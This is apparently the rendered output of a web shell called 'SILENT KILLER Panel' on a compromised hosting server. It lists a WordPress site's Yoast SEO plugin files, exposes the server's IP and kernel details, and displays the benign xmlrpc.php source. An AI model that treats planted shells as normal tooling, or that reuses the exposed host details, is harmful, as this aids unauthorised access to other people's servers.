SILENT KILLERPanel

Current Path: > home > codekrsu > > escapematrixonline.com > wp-content > plugins > wordpress-seo > src > integrations


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/codekrsu//escapematrixonline.com/wp-content/plugins/wordpress-seo/src/integrations

NameTypeSizeLast ModifiedActions
admin Directory - -
alerts Directory - -
blocks Directory - -
front-end Directory - -
third-party Directory - -
watchers Directory - -
abstract-exclude-post-type.php File 1166 bytes April 07 2025 13:46:06.
academy-integration.php File 4615 bytes January 19 2024 15:31:02.
breadcrumbs-integration.php File 2069 bytes January 19 2024 15:31:02.
cleanup-integration.php File 9949 bytes July 02 2024 13:32:04.
estimated-reading-time.php File 1111 bytes February 23 2021 16:34:30.
exclude-attachment-post-type.php File 810 bytes February 07 2023 14:53:12.
exclude-oembed-cache-post-type.php File 816 bytes April 07 2025 13:46:06.
feature-flag-integration.php File 3002 bytes July 01 2021 12:54:44.
front-end-integration.php File 16885 bytes April 07 2025 13:46:06.
integration-interface.php File 426 bytes September 01 2020 16:27:02.
primary-category.php File 1998 bytes May 18 2021 17:42:44.
settings-integration.php File 33183 bytes May 27 2025 13:33:50.
support-integration.php File 4584 bytes October 22 2024 13:45:22.
uninstall-integration.php File 1006 bytes March 22 2022 18:19:38.
xmlrpc.php File 1252 bytes October 05 2021 12:07:22.

Reading File: /home/codekrsu//escapematrixonline.com/wp-content/plugins/wordpress-seo/src/integrations/xmlrpc.php

<?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\XMLRPC_Conditional;

/**
 * Noindexes the xmlrpc.php file and all ways to request it.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded -- Known false positive with acronyms. Fix expected in YoastCS 3.x.
 */
class XMLRPC implements Integration_Interface {

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * In this case when the current request is an XML-RPC request.
	 *
	 * @return array The conditionals based on which this class should be loaded.
	 */
	public static function get_conditionals() {
		return [ XMLRPC_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'xmlrpc_methods', [ $this, 'robots_header' ] );
	}

	/**
	 * Sets a noindex, follow x-robots-tag header on all XMLRPC requests.
	 *
	 * @codeCoverageIgnore Basically impossible to test from the command line.
	 *
	 * @param array $methods The methods.
	 *
	 * @return array The methods.
	 */
	public function robots_header( $methods ) {
		if ( \headers_sent() === false ) {
			\header( 'X-Robots-Tag: noindex, follow', true );
		}

		return $methods;
	}
}

SILENT KILLER Tool